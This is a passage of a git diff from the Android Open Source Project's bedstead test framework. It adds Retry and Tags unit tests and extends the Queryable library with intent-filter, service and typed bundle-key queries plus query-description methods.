+        ValueTester(E onlyValue) {
+            this(onlyValue, onlyValue, 1);
+        }
+
+        ValueTester(Throwable originalThrowable, E changedValue, int numberOfIterations) {
+            mOriginalValue = null;
+            mOriginalThrowable = originalThrowable;
+            mChangedValue = changedValue;
+            mNumberOfIterations = numberOfIterations;
+        }
+
+        ValueTester(Throwable throwable) {
+            this(throwable, null, Integer.MAX_VALUE);
+        }
+
+        E get() throws Throwable {
+            mNumberOfTimesGetCalled++;
+            if (mNumberOfIterations-- >= 0) {
+                if (mOriginalThrowable != null) {
+                    throw mOriginalThrowable;
+                }
+                return mOriginalValue;
+            }
+            return mChangedValue;
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/RetryTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/RetryTest.java
new file mode 100644
index 0000000..404fc0b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/RetryTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.Duration;
+
+@RunWith(BedsteadJUnit4.class)
+public class RetryTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+    private static final String VALUE_1 = "Value1";
+    private static final Duration SHORT_TIMEOUT = Duration.ofSeconds(1);
+    private static final RuntimeException EXCEPTION = new RuntimeException("Test");
+
+    @Test
+    public void run_noExceptions_returnsValue() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        assertThat(Retry.logic(valueTester::get).run()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void runVoid_noExceptions_runs() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(VALUE_1);
+
+        Retry.logic(valueTester::throwOrNot).run();
+    }
+
+    @Test
+    public void run_exceptions_throwsException() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(new RuntimeException("test"));
+
+        assertThrows(RuntimeException.class,
+                () -> Retry.logic(valueTester::get).timeout(SHORT_TIMEOUT).run());
+    }
+
+    @Test
+    public void runVoid_exceptions_throwsException() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(new RuntimeException("test"));
+
+        assertThrows(RuntimeException.class,
+                () -> Retry.logic(valueTester::throwOrNot).timeout(SHORT_TIMEOUT).run());
+    }
+
+    @Test
+    public void run_temporaryExceptions_returnsValue() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION, VALUE_1, 5);
+
+        assertThat(Retry.logic(valueTester::get).run()).isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void runVoid_temporaryExceptions_runs() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(EXCEPTION, VALUE_1, 5);
+
+        Retry.logic(valueTester::throwOrNot).run();
+    }
+
+    @Test
+    public void run_terminalException_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(
+                new RuntimeException("test"), VALUE_1, 5);
+
+        assertThrows(RuntimeException.class,
+                () -> Retry.logic(valueTester::get).terminalException(e -> true).run());
+    }
+
+    @Test
+    public void runVoid_terminalException_throwsException() {
+        ValueTester<String> valueTester = new ValueTester<>(
+                new RuntimeException("test"), VALUE_1, 5);
+
+        assertThrows(RuntimeException.class,
+                () -> Retry.logic(valueTester::throwOrNot).terminalException(e -> true).run());
+    }
+
+    @Test
+    public void run_nonTerminalException_returnsValue() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(
+                new RuntimeException("test"), VALUE_1, 5);
+
+        assertThat(Retry.logic(valueTester::get).terminalException(e -> false).run())
+                .isEqualTo(VALUE_1);
+    }
+
+    @Test
+    public void runVoid_nonTerminalException_runs() throws Throwable {
+        ValueTester<String> valueTester = new ValueTester<>(
+                new RuntimeException("test"), VALUE_1, 5);
+
+        Retry.logic(valueTester::throwOrNot).terminalException(e -> false).run();
+    }
+
+    private static final class ValueTester<E> {
+        private final Throwable mOriginalThrowable;
+        private final E mOriginalValue;
+        private final E mChangedValue;
+        private int mNumberOfIterations;
+        int mNumberOfTimesGetCalled = 0;
+
+        ValueTester(E originalValue, E changedValue, int numberOfIterations) {
+            mOriginalValue = originalValue;
+            mChangedValue = changedValue;
+            mNumberOfIterations = numberOfIterations;
+            mOriginalThrowable = null;
+        }
+
+        ValueTester(E onlyValue) {
+            this(onlyValue, onlyValue, 1);
+        }
+
+        ValueTester(Throwable originalThrowable, E changedValue, int numberOfIterations) {
+            mOriginalValue = null;
+            mOriginalThrowable = originalThrowable;
+            mChangedValue = changedValue;
+            mNumberOfIterations = numberOfIterations;
+        }
+
+        ValueTester(Throwable throwable) {
+            this(throwable, null, Integer.MAX_VALUE);
+        }
+
+        E get() throws Throwable {
+            mNumberOfTimesGetCalled++;
+            if (mNumberOfIterations-- >= 0) {
+                if (mOriginalThrowable != null) {
+                    throw mOriginalThrowable;
+                }
+                return mOriginalValue;
+            }
+            return mChangedValue;
+        }
+
+        void throwOrNot() throws Throwable {
+            if (mNumberOfIterations-- >= 0) {
+                if (mOriginalThrowable != null) {
+                    throw mOriginalThrowable;
+                }
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/TagsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/TagsTest.java
new file mode 100644
index 0000000..744d1ab
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/TagsTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class TagsTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final String TAG_1 = "tag1";
+    private static final String TAG_2 = "tag2";
+
+    @Before
+    public void setUp() {
+        Tags.clearTags();
+    }
+
+    @Test
+    public void addTag_tagIsAdded() {
+        Tags.addTag(TAG_1);
+
+        assertThat(Tags.hasTag(TAG_1)).isTrue();
+    }
+
+    @Test
+    public void addTag_otherTagIsNotAdded() {
+        Tags.addTag(TAG_1);
+
+        assertThat(Tags.hasTag(TAG_2)).isFalse();
+    }
+
+    @Test
+    public void clearTags_tagsAreCleared() {
+        Tags.addTag(TAG_1);
+        Tags.clearTags();
+
+        assertThat(Tags.hasTag(TAG_1)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/queryable/Android.bp b/common/device-side/bedstead/queryable/Android.bp
index edae7901..4dafa5d 100644
--- a/common/device-side/bedstead/queryable/Android.bp
+++ b/common/device-side/bedstead/queryable/Android.bp
@@ -22,6 +22,8 @@
         "general-tests",
     ],
     static_libs: [
+        "Nene",
+        "Harrier",
         "Queryable",
         "ActivityContext",
         "androidx.test.ext.junit",
diff --git a/common/device-side/bedstead/queryable/TEST_MAPPING b/common/device-side/bedstead/queryable/TEST_MAPPING
deleted file mode 100644
index 62bc822..0000000
--- a/common/device-side/bedstead/queryable/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "BedsteadQueryableTest"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/Queryable.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/Queryable.java
index 09bd40a..15df572 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/Queryable.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/Queryable.java
@@ -16,5 +16,38 @@
 
 package com.android.queryable;
 
+import androidx.annotation.Nullable;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.stream.Collectors;
+
 public interface Queryable {
+    /**
+     * Generate a string representation of the query.
+     *
+     * <p>For example, if {@code fieldName} was age, we might generate "age > 5, age < 10"
+     */
+    @Nullable
+    String describeQuery(String fieldName);
+
+    /**
+     * Join sub-parts of a query for use in {@link #describeQuery(String)}.
+     *
+     * <p>Queries which are not set should be null.
+     */
+    static String joinQueryStrings(String... queryStrings) {
+        return Arrays.stream(queryStrings).filter(i -> i != null && !i.isEmpty())
+                .collect(Collectors.joining(", "));
+    }
+
+    /**
+     * Join sub-parts of a query for use in {@link #describeQuery(String)}.
+     *
+     * <p>Queries which are not set should be null.
+     */
+    static String joinQueryStrings(Collection<String> queryStrings) {
+        return queryStrings.stream().filter(i -> i != null && !i.isEmpty())
+                .collect(Collectors.joining(", "));
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
index 0640104..3addf49 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
@@ -17,6 +17,10 @@
 package com.android.queryable.info;
 
 import android.app.Activity;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
 
 
 /**
@@ -27,6 +31,7 @@
 public final class ActivityInfo extends ClassInfo {
 
     private final boolean mExported;
+    private final Set<IntentFilter> mIntentFilters;
 
     public static Builder builder() {
         return new Builder();
@@ -38,27 +43,39 @@
                 .exported(activityInfo.exported);
     }
 
-    private ActivityInfo(String activityClass, boolean exported) {
+    private ActivityInfo(String activityClass, boolean exported,
+            Set<IntentFilter> intentFilters) {
         super(activityClass);
         mExported = exported;
+        if (intentFilters == null) {
+            mIntentFilters = new HashSet<>();
+        } else {
+            mIntentFilters = intentFilters;
+        }
     }
 
     public boolean exported() {
         return mExported;
     }
 
+    /** Return the intent filters of this activity.*/
+    public Set<IntentFilter> intentFilters() {
+        return mIntentFilters;
+    }
 
     @Override
     public String toString() {
         return "Activity{"
                 + "class=" + super.toString()
                 + ", exported=" + mExported
+                + ", intentFilters=" + mIntentFilters
                 + "}";
     }
 
     public static final class Builder {
         String mActivityClass;
         boolean mExported;
+        Set<IntentFilter> mIntentFilters;
 
         public Builder activityClass(String activityClassName) {
             mActivityClass = activityClassName;
@@ -78,10 +95,17 @@
             return this;
         }
 
+        /** Set the intent filters with the set of intent filters provided */
+        public Builder intentFilters(Set<IntentFilter> intentFilters) {
+            mIntentFilters = intentFilters;
+            return this;
+        }
+
         public ActivityInfo build() {
             return new ActivityInfo(
                     mActivityClass,
-                    mExported
+                    mExported,
+                    mIntentFilters
             );
         }
     }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
index a964335..8cd36b4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
@@ -24,6 +24,9 @@
  * <p>This is used instead of {@link Class} so that it can be easily serialized.
  */
 public class ClassInfo implements Serializable {
+
+    private static final long serialVersionUID = 1;
+
     private final String mClassName;
 
     public ClassInfo(Object obj) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
new file mode 100644
index 0000000..0779dc4
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.info;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
+
+
+/**
+ * Wrapper for information about an {@link Service}.
+ *
+ * <p>This is used instead of {@link Service} so that it can be easily serialized.
+ */
+public final class ServiceInfo extends ClassInfo {
+
+    private final Set<IntentFilter> mIntentFilters;
+
+    /** Return a new builder for {@link ServiceInfo}. */
+    public static Builder builder() {
+        return new Builder();
+    }
+
+    /** Return a builder for {@link ServiceInfo} with the service class name set. */
+    public static Builder builder(android.content.pm.ServiceInfo serviceInfo) {
+        return builder()
+                .serviceClass(serviceInfo.name);
+    }
+
+    private ServiceInfo(String serviceClass, Set<IntentFilter> intentFilters) {
+        super(serviceClass);
+        if (intentFilters == null) {
+            mIntentFilters = new HashSet<>();
+        } else {
+            mIntentFilters = intentFilters;
+        }
+    }
+
+    /** Return the intent filters of this service.*/
+    public Set<IntentFilter> intentFilters() {
+        return mIntentFilters;
+    }
+
+    @Override
+    public String toString() {
+        return "Service{"
+                + "class=" + super.toString()
+                + "intentFilters=" + mIntentFilters
+                + "}";
+    }
+
+    /** Builder for {@link ServiceInfo}. */
+    public static final class Builder {
+        String mServiceClass;
+        Set<IntentFilter> mIntentFilters;
+
+        /** Set the serviceClassName with the class name provided. */
+        public Builder serviceClass(String serviceClassName) {
+            mServiceClass = serviceClassName;
+            return this;
+        }
+
+        /** Set the serviceClassName with the class name of the service provided. */
+        public Builder serviceClass(Service service) {
+            return serviceClass(service.getClass());
+        }
+
+        /** Set the serviceClassName with the class name from the service class provided. */
+        public Builder serviceClass(Class<? extends Service> serviceClass) {
+            return serviceClass(serviceClass.getName());
+        }
+
+        /** Set the intent filters with the set of intent filters provided */
+        public ServiceInfo.Builder intentFilters(Set<IntentFilter> intentFilters) {
+            mIntentFilters = intentFilters;
+            return this;
+        }
+
+        /** Build the {@link ServiceInfo}*/
+        public ServiceInfo build() {
+            return new ServiceInfo(
+                    mServiceClass,
+                    mIntentFilters
+            );
+        }
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
index 56f4c62..fde7f00 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
@@ -17,6 +17,7 @@
 package com.android.queryable.queries;
 
 import android.app.Activity;
+import android.content.IntentFilter;
 
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
@@ -30,4 +31,7 @@
 
     ClassQuery<E> activityClass();
     BooleanQuery<E> exported();
+
+    /** Query the intent-filters on an activity. */
+    SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
index 05146f8..ece537c 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
@@ -16,6 +16,8 @@
 
 package com.android.queryable.queries;
 
+import android.content.IntentFilter;
+
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
 
@@ -25,17 +27,21 @@
     private final E mQuery;
     private final ClassQueryHelper<E> mActivityClassQueryHelper;
     private final BooleanQueryHelper<E> mExportedQueryHelper;
+    private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+            mIntentFiltersQueryHelper;
 
     ActivityQueryHelper() {
         mQuery = (E) this;
         mActivityClassQueryHelper = new ClassQueryHelper<>(mQuery);
         mExportedQueryHelper = new BooleanQueryHelper<>(mQuery);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
     }
 
     public ActivityQueryHelper(E query) {
         mQuery = query;
         mActivityClassQueryHelper = new ClassQueryHelper<>(query);
         mExportedQueryHelper = new BooleanQueryHelper<>(query);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
     }
 
     @Override
@@ -49,9 +55,24 @@
     }
 
     @Override
+    public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+        return mIntentFiltersQueryHelper;
+    }
+
+    @Override
     public boolean matches(ActivityInfo value) {
         return mActivityClassQueryHelper.matches(value)
-                && mExportedQueryHelper.matches(value.exported());
+                && mExportedQueryHelper.matches(value.exported())
+                && mIntentFiltersQueryHelper.matches(value.intentFilters());
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+          mActivityClassQueryHelper.describeQuery(fieldName + ".activity"),
+          mExportedQueryHelper.describeQuery(fieldName + ".exported"),
+          mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
+        );
     }
 
     public static boolean matches(ActivityQueryHelper<?> activityQueryHelper, ActivityInfo value) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java
index e3e2cd1..269a51c 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java
@@ -18,13 +18,14 @@
 
 import com.android.queryable.Queryable;
 
+/** Query for a {@link Boolean}. */
 public interface BooleanQuery<E extends Queryable> extends Query<Boolean> {
-
+    /** Queries a {@link Boolean}. */
     static BooleanQuery<BooleanQuery<?>> Boolean() {
         return new BooleanQueryHelper<>();
     }
 
     E isTrue();
     E isFalse();
-    E equals(boolean value);
+    E isEqualTo(boolean value);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java
index 29545e0..276b034 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java
@@ -54,7 +54,7 @@
     }
 
     @Override
-    public E equals(boolean value) {
+    public E isEqualTo(boolean value) {
         if (mTargetValue != null) {
             throw new IllegalStateException("Cannot set multiple boolean filters");
         }
@@ -66,6 +66,19 @@
 
     @Override
     public boolean matches(Boolean value) {
-        return (mTargetValue == null) || mTargetValue == value;
+        return (mTargetValue == null) || mTargetValue.equals(value);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        if (mTargetValue == null) {
+            return null;
+        }
+
+        return fieldName + "=" + mTargetValue;
+    }
+
+    public static boolean matches(BooleanQuery<?> query, Boolean value) {
+        return query.matches(value);
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
index 299c3bb..b9d1fcd 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
@@ -46,4 +46,11 @@
     public boolean matches(BroadcastReceiverInfo value) {
         return mReceiverClassQueryHelper.matches(value);
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mReceiverClassQueryHelper.describeQuery(fieldName + ".receiverClass")
+        );
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
index 8e78201..0c66fb3 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
@@ -22,10 +22,8 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
 /** Query for a single key in a {@link Bundle}. */
-public interface BundleKeyQuery<E extends Queryable> {
+public interface BundleKeyQuery<E extends Queryable> extends Queryable {
 
     /** Require that the key exists. */
     E exists();
@@ -41,4 +39,34 @@
 
     @CheckResult
     BundleQuery<E> bundleValue();
+
+    /**
+     * The integer value of the key/
+     */
+    @CheckResult
+    IntegerQuery<E> integerValue();
+
+    /**
+     * The long value of the key/
+     */
+    @CheckResult
+    LongQuery<E> longValue();
+
+    /**
+     * The boolean value of the key/
+     */
+    @CheckResult
+    BooleanQuery<E> booleanValue();
+
+    /**
+     * The string list value of the key/
+     */
+    @CheckResult
+    ListQuery<E, String, StringQuery<E>> stringListValue();
+
+    /**
+     * The integer list value of the key/
+     */
+    @CheckResult
+    ListQuery<E, Integer, IntegerQuery<E>> integerListValue();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
index f102e7d..6d98ec4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
@@ -21,16 +21,25 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link BundleKeyQuery}. */
 public final class BundleKeyQueryHelper<E extends Queryable> implements BundleKeyQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Boolean mExpectsToExist = null;
     private StringQueryHelper<E> mStringQuery = null;
+    private IntegerQueryHelper<E> mIntegerQuery = null;
+    private LongQueryHelper<E> mLongQuery = null;
+    private BooleanQueryHelper<E> mBooleanQuery = null;
     private SerializableQueryHelper<E> mSerializableQuery;
     private BundleQueryHelper<E> mBundleQuery;
+    private ListQueryHelper<E, String, StringQuery<E>> mStringListQuery;
+    private ListQueryHelper<E, Integer, IntegerQuery<E>> mIntegerListQuery;
 
     public BundleKeyQueryHelper(E query) {
         mQuery = query;
@@ -83,8 +92,55 @@
         return mBundleQuery;
     }
 
+    @Override
+    public IntegerQuery<E> integerValue() {
+        if (mIntegerQuery == null) {
+            checkUntyped();
+            mIntegerQuery = new IntegerQueryHelper<>(mQuery);
+        }
+        return mIntegerQuery;
+    }
+
+    @Override
+    public LongQuery<E> longValue() {
+        if (mLongQuery == null) {
+            checkUntyped();
+            mLongQuery = new LongQueryHelper<>(mQuery);
+        }
+        return mLongQuery;
+    }
+
+    @Override
+    public BooleanQuery<E> booleanValue() {
+        if (mBooleanQuery == null) {
+            checkUntyped();
+            mBooleanQuery = new BooleanQueryHelper<>(mQuery);
+        }
+        return mBooleanQuery;
+    }
+
+    @Override
+    public ListQuery<E, String, StringQuery<E>> stringListValue() {
+        if (mStringListQuery == null) {
+            checkUntyped();
+            mStringListQuery = new ListQueryHelper<>(mQuery);
+        }
+        return mStringListQuery;
+    }
+
+    @Override
+    public ListQuery<E, Integer, IntegerQuery<E>> integerListValue() {
+        if (mIntegerListQuery == null) {
+            checkUntyped();
+            mIntegerListQuery = new ListQueryHelper<>(mQuery);
+        }
+        return mIntegerListQuery;
+    }
+
     private void checkUntyped() {
-        if (mStringQuery != null || mSerializableQuery != null || mBundleQuery != null) {
+        if (mStringQuery != null || mSerializableQuery != null || mBundleQuery != null
+                || mIntegerQuery != null || mLongQuery != null || mBooleanQuery != null
+                || mStringListQuery != null || mIntegerListQuery != null) {
             throw new IllegalStateException("Each key can only be typed once");
         }
     }
@@ -102,7 +158,57 @@
         if (mBundleQuery != null && !mBundleQuery.matches(value.getBundle(key))) {
             return false;
         }
+        if (mIntegerQuery != null && !mIntegerQuery.matches(value.getInt(key))) {
+            return false;
+        }
+        if (mLongQuery != null && !mLongQuery.matches(value.getLong(key))) {
+            return false;
+        }
+        if (mBooleanQuery != null && !mBooleanQuery.matches(value.getBoolean(key))) {
+            return false;
+        }
+        if (mStringListQuery != null && !mStringListQuery.matches(value.getStringArrayList(key))) {
+            return false;
+        }
+        if (mIntegerListQuery != null && !mIntegerListQuery.matches(
+                value.getIntegerArrayList(key))) {
+            return false;
+        }
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mExpectsToExist != null) {
+            queryStrings.add(fieldName + " exists");
+        }
+        if (mStringQuery != null) {
+            queryStrings.add(mStringQuery.describeQuery(fieldName + ".stringValue"));
+        }
+        if (mSerializableQuery != null) {
+            queryStrings.add(mSerializableQuery.describeQuery(fieldName + ".serializableValue"));
+        }
+        if (mBundleQuery != null) {
+            queryStrings.add(mBundleQuery.describeQuery(fieldName + ".bundleValue"));
+        }
+        if (mIntegerQuery != null) {
+            queryStrings.add(mIntegerQuery.describeQuery(fieldName + ".integerValue"));
+        }
+        if (mLongQuery != null) {
+            queryStrings.add(mLongQuery.describeQuery(fieldName + ".longValue"));
+        }
+        if (mBooleanQuery != null) {
+            queryStrings.add(mBooleanQuery.describeQuery(fieldName + ".booleanValue"));
+        }
+        if (mStringListQuery != null) {
+            queryStrings.add(mStringListQuery.describeQuery(fieldName + ".stringListValue"));
+        }
+        if (mIntegerListQuery != null) {
+            queryStrings.add(mIntegerListQuery.describeQuery(fieldName + ".integerListValue"));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
index 20e972f..61e65bd 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
@@ -22,16 +22,15 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
 /** Query for a {@link Bundle}. */
 public interface BundleQuery<E extends Queryable> extends Query<Bundle> {
 
+    /** Queries a {@link Bundle}. */
     static BundleQuery<BundleQuery> bundle() {
         return new BundleQueryHelper<>();
     }
 
-    /** Query a given key on the {@link Bundle}. */
+    /** Queries a given key on the {@link Bundle}. */
     @CheckResult
     BundleKeyQuery<E> key(String key);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
index 542857c..4b901fc 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
@@ -18,17 +18,21 @@
 
 import android.os.Bundle;
 
-import com.android.queryable.util.SerializableParcelWrapper;
 import com.android.queryable.Queryable;
+import com.android.queryable.util.SerializableParcelWrapper;
 
 import java.io.Serializable;
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Map;
 
 /** Implementation of {@link BundleQuery}. */
 public final class BundleQueryHelper<E extends Queryable> implements BundleQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
 
@@ -69,4 +73,18 @@
 
         return matches(serializableBundle.get());
     }
+
+    public static boolean matches(BundleQueryHelper<?> bundleQueryHelper, Bundle value) {
+        return bundleQueryHelper.matches(value);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        for (Map.Entry<String, BundleKeyQueryHelper<E>> query : mKeyQueryHelpers.entrySet()) {
+            queryStrings.add(query.getValue().describeQuery(fieldName + "." + query.getKey()));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
index 84917ef..494dcdd 100644
